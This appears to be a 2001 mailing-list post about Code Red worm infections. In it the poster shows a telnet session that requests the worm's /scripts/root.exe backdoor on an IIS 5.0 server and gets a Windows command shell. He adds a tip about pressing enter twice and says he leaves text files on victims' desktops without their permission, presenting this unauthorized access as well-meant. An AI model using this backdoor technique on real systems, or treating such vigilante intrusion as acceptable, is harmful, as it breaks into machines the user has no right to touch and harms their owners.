CR worm infection attempts

[Gary Nichols]

To answer your question... make sure you're hitting enter TWICE after
the command.

As a security guy myself, I'm deeply troubled by what I'm finding.
Check it out:

[gary@t0psecret /tmp]# telnet xxx.xxx.xxx.xxx 80
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
GET /scripts/root.exe HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 06 Aug 2001 04:22:13 GMT
Content-Type: application/octet-stream
Microsoft Windows 2000 [Version 5.00.2195]

c:\inetpub\scripts>

From here, I've been leaving a nice text file on \\ALL USERS\\ desktop's
that explains how I did it, and why they need to pay attention to
security patches. :)

Hopefully they won't take it the 'wrong' way.
